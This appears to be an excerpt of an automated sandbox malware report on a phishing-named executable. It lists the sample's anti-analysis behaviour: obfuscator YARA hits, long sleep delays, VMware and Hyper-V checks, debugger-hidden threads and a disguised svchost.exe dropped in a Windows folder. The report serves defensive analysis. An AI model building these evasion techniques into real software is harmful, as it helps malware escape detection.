Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Yara detected Beds Obfuscator

Show sources

Source: Yara match	File source: 00000018.00000002.943797908.000000000406C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.918746756.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: REQUEST FOR QUOTATION 4675674665.exe PID: 4284, type: MEMORY
Source: Yara match	File source: 24.2.svchost.exe.406ce98.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.REQUEST FOR QUOTATION 4675674665.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.svchost.exe.40d02b8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.svchost.exe.40d02b8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.svchost.exe.406ce98.6.raw.unpack, type: UNPACKEDPE

Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4766	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1963	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Window / User API: threadDelayed 3002	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Window / User API: threadDelayed 6467	Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 7036	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5104	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 4484	Thread sleep count: 3002 > 30	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -99843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -99703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -99578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -99453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -99297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 4484	Thread sleep count: 6467 > 30	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -99109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -98984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -98843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -98734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -98593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -98406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -98281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -98172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -98062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -97953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -97843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -97734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -97625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -97515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -97406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -97281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -97156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -97047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -96937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -96797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -193374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -99859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -99500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -99343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -99156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -99000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -197718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -98109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -97906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -97750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -195218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -97453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -96453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -96312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -96156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -96046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -95937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -95828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -95718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -95609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -95500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -95390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -95281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -95171s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -95062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -94953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -199782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -99781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -99672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -99531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -99375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -99250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -99094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -98969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -98750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -98641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -98531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -98422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -98312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -98203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -98094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -97937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -97828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -97719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -97500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe TID: 5644	Thread sleep time: -99687s >= -30000s	Jump to behavior
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe TID: 6444	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe TID: 7096	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5564	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: powershell.exe, 00000005.00000003.794465502.00000000050BE000.00000004.00000001.sdmp	Binary or memory string: k:C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Hyper-V
Source: powershell.exe, 00000005.00000003.794465502.00000000050BE000.00000004.00000001.sdmp	Binary or memory string: Hyper-V
Source: explorer.exe, 00000014.00000002.921628914.0000000000459000.00000004.00000020.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\[
Source: svchost.exe, 00000004.00000002.686447856.00000215E1C60000.00000002.00000001.sdmp, svchost.exe, 0000000B.00000002.733754734.000002499FF40000.00000002.00000001.sdmp, WerFault.exe, 00000012.00000002.814403149.00000000053C0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000003.654209469.000000000535A000.00000004.00000001.sdmp, WerFault.exe, 00000012.00000002.812893215.0000000004CCD000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: WerFault.exe, 00000012.00000002.813084444.0000000004D79000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWH
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000003.654200289.0000000005351000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWsupdate.com
Source: svchost.exe, 00000004.00000002.686447856.00000215E1C60000.00000002.00000001.sdmp, svchost.exe, 0000000B.00000002.733754734.000002499FF40000.00000002.00000001.sdmp, WerFault.exe, 00000012.00000002.814403149.00000000053C0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: svchost.exe, 00000004.00000002.686447856.00000215E1C60000.00000002.00000001.sdmp, svchost.exe, 0000000B.00000002.733754734.000002499FF40000.00000002.00000001.sdmp, WerFault.exe, 00000012.00000002.814403149.00000000053C0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: svchost.exe, 00000004.00000002.686447856.00000215E1C60000.00000002.00000001.sdmp, svchost.exe, 0000000B.00000002.733754734.000002499FF40000.00000002.00000001.sdmp, WerFault.exe, 00000012.00000002.814403149.00000000053C0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
Source: WerFault.exe, 00000012.00000003.744280754.0000000005A70000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.947467708.00000000041BE000.00000004.00000001.sdmp	Binary or memory string: NKeNyglXQeMUXbYOygFZWCfLBMXa

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Thread information set: HideFromDebugger	Jump to behavior
